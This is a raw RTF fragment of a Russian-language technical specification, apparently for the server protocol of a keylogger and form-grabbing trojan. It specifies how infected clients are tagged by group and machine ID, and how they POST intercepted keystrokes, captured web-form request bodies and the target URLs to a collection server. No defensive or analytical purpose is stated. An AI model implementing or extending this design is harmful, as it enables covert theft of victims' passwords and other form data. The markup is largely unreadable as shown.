\par \loch\af37\dbch\af31505\hich\f37 \'cb\'ee\'e3\loch\f37 \hich\f37 \'ed\'e0\'e6\'e0\'f2\'e8\'e9\loch\f37 \hich\f37 \'ea\'eb\'e0\'e2\'e8\'f8\loch\f37 \hich\f37 \'e4\'ee\'eb\'e6\'e5\'ed\loch\f37 \hich\f37 \'e1\'fb\'f2\'fc\loch\f37 \hich\f37 \'e2
\loch\f37 \hich\f37 \'eb\'fe\'e1\'ee\'ec\loch\f37 \hich\f37 \'ef\'f0\'e8\'e5\'ec\'eb\'e5\'ec\'ee\loch\f37 \hich\f37 \'e4\'eb\'ff\loch\f37 \hich\f37 \'f7\'eb\'e5\'ed\'e8\'ff\loch\f37 \hich\f37 \'f7\'e5\'eb\'ee\'e2\'e5\'ea\'ee\'ec}{\rtlch\fcs1
\ab\af37 \ltrch\fcs0 \b\f37\insrsid4194611
\par \hich\af37\dbch\af31505\loch\f37 2}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 \hich\f37 \'c4\'e0\'ed\'ed\'fb\'e5\loch\f37 \hich\f37 \'ed\'e0\loch\f37 \hich\f37 \'f1\'e5\'f0\'e2\'e5\'f0\loch\f37 \hich\f37 \'ee
\'f2\'ef\'f0\'e0\'e2\'eb\'ff\'fe\'f2\'f1\'ff\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'f7\'e5\'f0\'e5\'e7\loch\f37 HTTP }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 POST}{
\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \loch\af37\dbch\af31505\hich\f37 -\'e7\'e0\'ef\'f0\'ee\'f1\'fb\loch\f37 \hich\f37 . \'cc\'e5\'e6\'e4\'f3\loch\f37 \hich\f37 \'f1\'e5\'f0\'e2\'e5\'f0\'ee\'ec\loch\f37 \hich\f37 \'e8\loch\f37 \hich\f37
\'ea\'eb\'e8\'e5\'ed\'f2\'ee\'ec\loch\f37 \hich\f37 \'ec\'ee\'e6\'e5\'f2\loch\f37 \hich\f37 \'f1\'f2\'ee\'ff\'f2\'fc\loch\f37 \hich\f37 \'f1\'ea\'ee\'eb\'fc\'ea\'ee\loch\f37 \hich\f37 \'f3\'e3\'ee\'e4\'ed\'ee\loch\f37 \hich\f37
reverse-proxy, load-balancer \'e8\loch\f37 \hich\f37 DNAT. \'d2\'e0\'ea\'e8\'ec\loch\f37 \hich\f37 \'ee\'e1\'f0\'e0\'e7\'ee\'ec\loch\f37 \hich\f37 , \'ed\'e5\'f2\loch\f37 \hich\f37 \'ed\'e8\'ea\'e0\'ea\'ee\'e3\'ee\loch\f37 \hich\f37 \'f1\'ef\'ee\'f1
\'ee\'e1\'e0\loch\f37 \hich\f37 \'f3\'e7\'ed\'e0\'f2\'fc\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 ip}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994 -
}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \loch\af37\dbch\af31505\hich\f37 \'e0\'e4\'f0\'e5\'f1\loch\f37 \hich\f37 \'ea\'eb\'e8\'e5\'ed\'f2\'e0.
\par }{\rtlch\fcs1 \ab\af37 \ltrch\fcs0 \b\f37\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 2.1 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \loch\af37\dbch\af31505\hich\f37 \'ca\'e0\'e6\'e4\'fb\'e9\loch\f37 \hich\f37 \'e7\'e0\'ef\'f0\'ee\'f1
\loch\f37 \hich\f37 \'f1\'ee\'e4\'e5\'f0\'e6\'e8\'f2\loch\f37 \hich\f37 \'e2\loch\f37 \hich\f37 URI \'f2\'f0\'e8\loch\f37 \hich\f37 \'ea\'ee\'ec\'ef\'ee\'ed\'e5\'ed\'f2\'e0\loch\f37 \hich\f37 \'f0\'e0\'e7\'e4\'e5\'eb\'b8\'ed\'ed\'fb\'f5\loch\f37
\hich\f37 \'f1\'e8\'ec\'e2\'ee\'eb\'ee\'ec\loch\f37 \hich\f37 "/" - \'f2\'e5\loch\af37\dbch\af31505\hich\f37 \'e3\loch\f37 \hich\f37 \'e3\'f0\'f3\'ef\'ef\'fb\loch\f37 \hich\f37 , id \'ea\'eb\'e8\'e5\'ed\'f2\'e0\loch\f37 \hich\f37 . \'ca\'e0\'e6\'e4
\'fb\'e9\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 POST}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 }{\rtlch\fcs1
\af37 \ltrch\fcs0 \f37\insrsid4194611 \loch\af37\dbch\af31505\hich\f37 \'e8\'ec\'e5\'e5\'f2\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 URI}{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \loch\af37\dbch\af31505\hich\f37 \'f1\'eb\'e5\'e4\'f3\'fe\'f9\'e5\'e3\'ee\loch\f37 \hich\f37 \'f4\'ee\'f0\'ec\'e0\'f2\'e0\loch\f37 :
\par }{\rtlch\fcs1 \af2 \ltrch\fcs0 \f2\insrsid4194611\charrsid4409994 \hich\af2\dbch\af31505\loch\f2 /<}{\rtlch\fcs1 \af2 \ltrch\fcs0 \f2\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af2\dbch\af31505\loch\f2 group}{\rtlch\fcs1 \af2 \ltrch\fcs0
\f2\insrsid4194611\charrsid4409994 -}{\rtlch\fcs1 \af2 \ltrch\fcs0 \f2\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af2\dbch\af31505\loch\f2 tag}{\rtlch\fcs1 \af2 \ltrch\fcs0 \f2\insrsid4194611\charrsid4409994 \hich\af2\dbch\af31505\loch\f2 >/<}{
\rtlch\fcs1 \af2 \ltrch\fcs0 \f2\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af2\dbch\af31505\loch\f2 clientid}{\rtlch\fcs1 \af2 \ltrch\fcs0 \f2\insrsid4194611\charrsid4409994 \hich\af2\dbch\af31505\loch\f2 >/60/
\par }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 \hich\f37 , \'e3\'e4\'e5\loch\f37 \hich\f37 group-tag - \'f2\'e5\'e3\loch\f37 \hich\f37 \'e3\'f0\'f3\'ef\'ef\'fb\loch\f37 \hich\f37 , clientid - id \'ea\'eb\'e8\'e5
\'ed\'f2\'e0\loch\f37 .
\par }{\rtlch\fcs1 \ab\af37 \ltrch\fcs0 \b\f37\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 2.1.1 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \loch\af37\dbch\af31505\hich\f37 \'d2\'e5\'e3\loch\f37 \hich\f37 \'e3\'f0\'f3\'ef\'ef\'fb\loch\f37
\hich\f37 - \'fd\'f2\'ee\loch\f37 \hich\f37 \'ef\'f0\'ee\'e8\'e7\'e2\'ee\'eb\'fc\'ed\'e0\'ff\loch\f37 \hich\f37 \'f1\'f2\'f0\'ee\'ea\'e0\loch\f37 \hich\f37 \'f1\'ee\'f1\'f2\'ee\'ff\'f9\'e0\'ff\loch\f37 \hich\f37 \'e8\'e7\loch\f37 \hich\f37 \'f1\'e8
\'ec\'e2\'ee\'eb\'ee\'e2\loch\f37 \hich\f37 (a-z) \'e8\loch\f37 \hich\f37 \'f6\'e8\'f4\'f0\loch\f37 \hich\f37 (0-9). \'cf\'e0\'f0\'e0\'ec\'e5\'f2\'f0\loch\f37 \hich\f37 \'ed\'e5\loch\f37 \hich\f37 \'f7\'f3\'e2\'f1\'f2\'e2\'e8\'f2\'e5\'eb
\loch\af37\dbch\af31505\hich\f37 \'e5\'ed\loch\f37 \hich\f37 \'ea\loch\f37 \hich\f37 \'f0\'e5\'e3\'e8\'f1\'f2\'f0\'f3.
\par }{\rtlch\fcs1 \ab\af37 \ltrch\fcs0 \b\f37\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 2.1.2}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 \hich\f37 Id \'ea\'eb\'e8\'e5\'ed\'f2\'e0\loch\f37 \hich\f37 - \'fd\'f2
\'ee\loch\f37 \hich\f37 \'f1\'f2\'f0\'ee\'ea\'e0\loch\f37 \hich\f37 \'f1\'ee\'f1\'f2\'ee\'ff\'f9\'e0\'ff\loch\f37 \hich\f37 \'e8\'e7\loch\f37 \hich\f37 \'e4\'e2\'f3\'f5\loch\f37 \hich\f37 \'ea\'ee\'ec\'ef\'ee\'ed\'e5\'ed\'f2\'ee\'e2\loch\f37
\hich\f37 \'f0\'e0\'e7\'e4\'e5\'eb\'b8\'ed\'ed\'fb\'f5\loch\f37 \hich\f37 \'f2\'ee\'f7\'ea\'ee\'e9\loch\f37 \hich\f37 . \'cf\'e5\'f0\'e2\'e0\'ff\loch\f37 \hich\f37 \'f7\'e0\'f1\'f2\'fc\loch\f37 \hich\f37 \'e8\'ec\'e5\'e5\'f2\loch\f37 \hich\f37 \'f4
\'ee\'f0\'ec\'e0\'f2\loch\f37 \hich\f37 <name>_XYYYYYYY, \'e3\'e4\'e5\loch\f37 \hich\f37 name \'fd\'f2\'ee\loch\f37 \hich\f37 \'ed\'e5\'ea\'ee\'f2\'ee\'f0\'ee\'e5\loch\f37 \hich\f37 \'e8\'ec\'ff\loch\f37 \hich\f37 \'ea\'ee\'f2\'ee\'f0\'ee\'e5
\loch\f37 \hich\f37 \'ec\'ee\'e6\'e5\'f2\loch\f37 \hich\f37 \'ea\'e0\'ea-\'f2\'ee\loch\f37 \hich\f37 \'e8\'e4\'e5\'ed\'f2\'e8\'f4\'e8\'f6\'e8\'f0\'ee\'e2\'e0\'f2\'fc\loch\f37 \hich\f37 \'ec\'e0\'f8\'e8\'ed\'f3\loch\f37 \hich\f37 (\'e8\'ec\'ff
\loch\f37 \hich\f37 \'ea\'ee\'ec\'ef\'fc\'fe\'e5\'f2\'f0\'e0\loch\f37 \hich\f37 \'e8\'eb\'e8\loch\f37 \hich\f37 \'e8\'ec\'ff\loch\f37 \hich\f37 \'ef\'ee\'eb\'fc\'e7\'ee\'e2\'e0\'f2\'e5\'eb\'ff\loch\f37 \hich\f37 , \'e2\loch\f37 \hich\f37 \'e7\'e0\'e2
\'e8\'f1\loch\af37\dbch\af31505\hich\f37 \'e8\'ec\'ee\'f1\'f2\'e8\loch\f37 \hich\f37 \'ee\'f2\loch\f37 \hich\f37 \'f2\'e8\'ef\'e0\loch\f37 \hich\f37 \'ee\'ef\'e5\'f0\'e0\'f6\'e8\'ee\'ed\'ed\'ee\'e9\loch\f37 \hich\f37 \'f1\'e8\'f1\'f2\'e5\'ec\'fb
\loch\f37 \hich\f37 ), X - \'f1\'e8\'ec\'e2\'ee\'eb\loch\f37 \hich\f37 \'ee\'e1\'ee\'e7\'ed\'e0\'f7\'e0\'fe\'f9\'e8\'e9\loch\f37 \hich\f37 \'f2\'e8\'ef\loch\f37 \hich\f37 \'f1\'e8\'f1\'f2\'e5\'ec\'fb\loch\f37 \hich\f37 \'ed\'e0\loch\f37 \hich\f37
\'ea\'ee\'f2\'ee\'f0\'ee\'e9\loch\f37 \hich\f37 \'f0\'e0\'e1\'ee\'f2\'e0\'e5\'f2\loch\f37 \hich\f37 \'ea\'eb\'e8\'e5\'ed\'f2\loch\f37 \hich\f37 (W - windows, L - linux, A - \'e0\'ed\'e4\'f0\'ee\'e8\'e4\loch\f37 \hich\f37 , M - Mac OS), YYYYYYY - 3-7
\'f6\'e8\'f4\'f0\loch\f37 \hich\f37 \'f1\'ee\'e4\'e5\'f0\'e6\'e0\'f9\'e8\'f5\loch\f37 \hich\f37 major-version, minor-version \'e8\loch\f37 \hich\f37 build \'ee\'ef\'e5\'f0\'e0\'f6\'e8\'ee\'ed\'ed\'ee\'e9\loch\f37 \hich\f37 \'f1\'e8\'f1\'f2\'e5\'ec\'fb
\loch\f37 \hich\f37 \'e5\'f1\'eb\'e8\loch\f37 \hich\f37 \'f2\'e0\'ea\'ee\'e2\'fb\'e5\loch\f37 \hich\f37 \'e8\loch\af37\dbch\af31505\hich\f37 \'ec\loch\af37\dbch\af31505\hich\f37 \'e5\'fe\'f2\'f1\'ff\loch\f37 \hich\f37 \'f3\loch\f37 \hich\f37 \'f1\'e8
\'f1\'f2\'e5\'ec\'fb\loch\f37 \hich\f37 (\'ed\'e0\'ef\'f0\'e8\'ec\'e5\'f0\loch\f37 \hich\f37 , \'e4\'eb\'df\loch\f37 \hich\f37 6.1 build 7600 \'fd\'f2\'ee\loch\f37 \hich\f37 \'e1\'f3\'e4\'e5\'f2\loch\f37 \hich\f37 617600). \'c2\'f2\'ee\'f0\'e0\'ff
\loch\f37 \hich\f37 \'f7\'e0\'f1\'f2\'fc\loch\f37 \hich\f37 \'f1\'ee\'e4\'e5\'f0\'e6\'e8\'f2\loch\f37 \hich\f37 32 \'f1\'eb\'f3\'f7\'e0\'e9\'ed\'fb\'f5\loch\f37 \hich\f37 \'f1\'e8\'ec\'e2\'ee\'eb\'ee\'e2\loch\f37 \hich\f37 0-9, A-F. \'cf\'f0\'e8\'ec
\'e5\'f0\loch\f37 \hich\f37 id \'ea\'eb\'e8\'e5\'ed\'f2\'e0\loch\f37 \hich\f37 - QWERTY_W617600.11223344556677889900AABBCCDDEEFF. \'cf\'e0\'f0\'e0\'ec\'e5\'f2\'f0\loch\f37 \hich\f37 \'ed\'e5\loch\f37 \hich\f37 \'f7\'f3\'e2\'f1\'f2\'e2\'e8\'f2\'e5\'eb
\'e5\'ed\loch\f37 \hich\f37 \'ea\loch\f37 \hich\f37 \'f0\'e5\'e3\'e8\'f1\'f2\'f0\'f3.
\par }{\rtlch\fcs1 \ab\af37 \ltrch\fcs0 \b\f37\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 2.2 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \loch\af37\dbch\af31505\hich\f37 \'ca\'e0\'e4\'eb\'fb\'e9\loch\f37 \hich\f37 \'ee\'f2\'e2\'e5\'f2\loch\f37
\hich\f37 \'f1\'e5\'f0\'e2\'e5\'f0\'e0\loch\f37 \hich\f37 \'ec\'ee\'e6\'e5\loch\af37\dbch\af31505\hich\f37 \'f2\loch\f37 \hich\f37 \'e1\'fb\'f2\'fc\loch\f37 \hich\f37 \'f1\'ee\loch\f37 \hich\f37 \'f1\'eb\'e5\'e4\'f3\'fe\'f9\'e8\'ec\'e8\loch\f37
\hich\f37 HTTP-\'ea\'ee\'e4\'e0\'ec\'e8\loch\f37 \hich\f37 : 200 \'e8\loch\f37 \hich\f37 403. \'ce\'f2\'e2\'e5\'f2\loch\f37 \hich\f37 200 \'e2\'f1\'e5\'e3\'e4\'e0\loch\f37 \hich\f37 \'e8\'ec\'e5\'e5\'f2\loch\f37 \hich\f37 \'f2\'e5\'eb\'ee\loch\f37
\hich\f37 \'f1\loch\f37 \hich\f37 \'f1\'ee\'e4\'e5\'f0\'e6\'e0\'ed\'e8\'e5\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 "/1/"}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611
\hich\af37\dbch\af31505\loch\f37 (}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 content}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994 -}{\rtlch\fcs1 \af37
\ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 type}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 : }{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 text}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 /}{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 plain}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 \hich\f37 ), \'e0\loch\f37 \hich\f37 \'ee\'f2\'e2\'e5\'f2\loch\f37 \hich\f37
403 \'e8\'f1\'ef\'ee\'eb\'fc\'e7\'f3\'e5\'f2\'f1\'ff\loch\f37 \hich\f37 \'e5\'f1\'eb\'e8\loch\f37 \hich\f37 \'ef\'f0\'e8\'f1\'eb\'e0\'ed\loch\f37 \hich\f37 \'ed\'e5\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 POST}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \loch\af37\dbch\af31505\hich\f37 -\'e7\'e0\'ef\'f0\'ee\'f1,}{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \loch\af37\dbch\af31505\hich\f37 \'f2\'e5\'eb\'ee\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 POST}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611
\loch\af37\dbch\af31505\hich\f37 \'e8\'ec\'e5\'e5\'f2\loch\f37 \hich\f37 \'ed\'e5\'e8\'e7\'e2\'e5\'f1\'f2\'ed\'fb\'e9\loch\f37 \hich\f37 \'f4\'ee\'f0\'ec\'e0\'f2\loch\f37 \hich\f37 \'e8\'eb\'e8\loch\f37 \hich\f37 \'ef\'ee\'eb\'ff,}{\rtlch\fcs1 \af37
\ltrch\fcs0 \f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 URI}{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \loch\af37\dbch\af31505\hich\f37 \'ed\'e5\'e8\'e7\'e2\'e5\'f1\'f2\'ed\'ee\'e3\'ee\loch\f37 \hich\f37 \'f4\'ee\'f0\'ec\'e0\'f2\'e0
\loch\f37 \hich\f37 , \'e8\'eb\'e8\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 clienti\hich\af37\dbch\af31505\loch\f37 d}{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \loch\af37\dbch\af31505\hich\f37 \'ed\'e5\'ef\'f0\'e0\'e2\'e8\'eb\'fc\'ed\'ee\'e3\'ee\loch\f37 \hich\f37 \'f4\'ee\'f0\'ec\'e0\'f2
\'e0.
\par }{\rtlch\fcs1 \ab\af37 \ltrch\fcs0 \b\f37\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 3}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 POST}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \loch\af37\dbch\af31505\hich\f37 -\'e7\'e0\'ef\'f0\'ee\'f1\loch\f37 \hich\f37 \'e8\'ec\'e5\'e5\'f2\loch\f37
\hich\f37 \'f2\'e5\'eb\'ee\loch\f37 \hich\f37 \'e2\loch\f37 \hich\f37 \'f4\'ee\'f0\'ec\'e0\'f2\'e5\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 multipaty}{\rtlch\fcs1
\af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 /}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 form}{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\insrsid4194611\charrsid4409994 -}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 data}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994 .}{\rtlch\fcs1 \af37
\ltrch\fcs0 \f37\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 \hich\f37 \'c8\loch\f37 \hich\f37 \'e8\'ec\'e5\'e5\'f2\loch\f37 \hich\f37 \'f1\'eb\'e5\'e4\'f3\'f9\'e8\'e5\loch\f37 \hich\f37 \'ef\'ee\'eb\'ff\loch\f37 :
\par }{\rtlch\fcs1 \ab\af37 \ltrch\fcs0 \b\f37\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 3.1 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 "}{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 data}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 "}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994
\hich\af37\dbch\af31505\loch\f37 - }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \loch\af37\dbch\af31505\hich\f37 \'e1\'e8\'ed\'e0\'f0\'ed\'fb\'e5\loch\f37 \hich\f37 \'e4\'e0\'ed\'ed\'fb\'e5\loch\f37 \hich\f37 , \'f0\'e0\'e7\'ec\'e5\'f0\'ee\'ec
\loch\f37 \hich\f37 \'e4\'ee\loch\f37 \hich\f37 32 \'ca\'c1\loch\f37 \hich\f37 . \'c8\'f1\'ea\'ee\'ec\'fb\'e9\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 POST}{
\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994 -}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \loch\af37\dbch\af31505\hich\f37 \'e7\'e0\'ef\'f0\'ee\'f1}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994
\hich\af37\dbch\af31505\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \loch\af37\dbch\af31505\hich\f37 \'f5\'e8\'e4\'e5\'f0\'fb\loch\f37 \hich\f37 \'e8\loch\f37 \hich\f37 \'f2\'e5\'eb\'ee
\par }{\rtlch\fcs1 \ab\af37 \ltrch\fcs0 \b\f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 3.2 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 "}{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 keys}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 "}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611
\hich\af37\dbch\af31505\loch\f37 - }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 UTF}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994
\hich\af37\dbch\af31505\loch\f37 -8 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \loch\af37\dbch\af31505\hich\f37 \'f1\'f2\'f0\'ee\'ea\'e0\loch\f37 \hich\f37 . \'cc\'e0\'ea\'f1\'e8\'ec\'e0\'eb\'fc\'ed\'e0\'ff\loch\f37 \hich\f37 \'e4\'eb\'e8\'ed
\'e0\loch\f37 \hich\f37 1024 \'f1\'e8\'ec\'e2\'ee\'eb\'e0\loch\f37 \hich\f37 . \'d2\'e5\'ea\'f1\'f2\loch\f37 \hich\f37 \'ef\'e5\'f0\loch\af37\dbch\af31505\hich\f37 \'e5\'f5\'e2\'e0\'f7\'e5\'ed\'ed\'fb\'f5\loch\f37 \hich\f37 \'ed\'e0\'e6\'e0\'f2\'e8\'e9
\loch\f37 \hich\f37 \'ea\'eb\'e0\'e2\'e8\'f8}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994
\par }{\rtlch\fcs1 \ab\af37 \ltrch\fcs0 \b\f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 3.3 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 "}{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 link}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 "}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611
\hich\af37\dbch\af31505\loch\f37 - }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37 UTF}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994
\hich\af37\dbch\af31505\loch\f37 -8 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611 \loch\af37\dbch\af31505\hich\f37 \'f1\'f2\'f0\'ee\'ea\'e0\loch\f37 \hich\f37 . \'cc\'e0\'ea\'f1\'e8\'ec\'e0\'eb\'fc\'ed\'e0\'ff\loch\f37 \hich\f37 \'e4\'eb\'e8\'ed
\'e0\loch\f37 \hich\f37 4096. \'d1\'f2\'f0\'ee\'ea\'e0\loch\f37 \hich\f37 \'f1\'ee\loch\f37 \hich\f37 \'f1\'f1\'fb\'eb\'ea\'ee\'e9\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid4194611
\hich\af37\dbch\af31505\loch\f37 Host}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid4409994 \hich\af37\dbch\af31505\loch\f37 +}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid4194611 \hich\af37\dbch\af31505\loch\f37
URI}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid4194611\charrsid16122061
\par }\pard \ltrpar\ql \li0\ri0\sb100\sa100\sbauto1\saauto1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16122061 {\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \f0\fs24\insrsid16122061\charrsid16122061 \loch\af0\dbch\af31505\hich\f0
\'fd\'f2\'ee\~\'e8\'f1\'ea\'ee\'ec\'e0\'ff\~\'f1\'f1\'fb\'eb\'ea\'e0\~\'ea\'f3\'e4\'e0\~\'f1\'eb\'e0\'eb\'f1\'ff\~\'ee\'f0\'e8\'e3\'e8\'ed\'e0\'eb\'fc\'ed\'fb\'e9\~\loch\f0 post
\par }\pard \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\nowidctlpar\wrapdefault\faauto\rin0\lin0\itap0 {\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid16122061
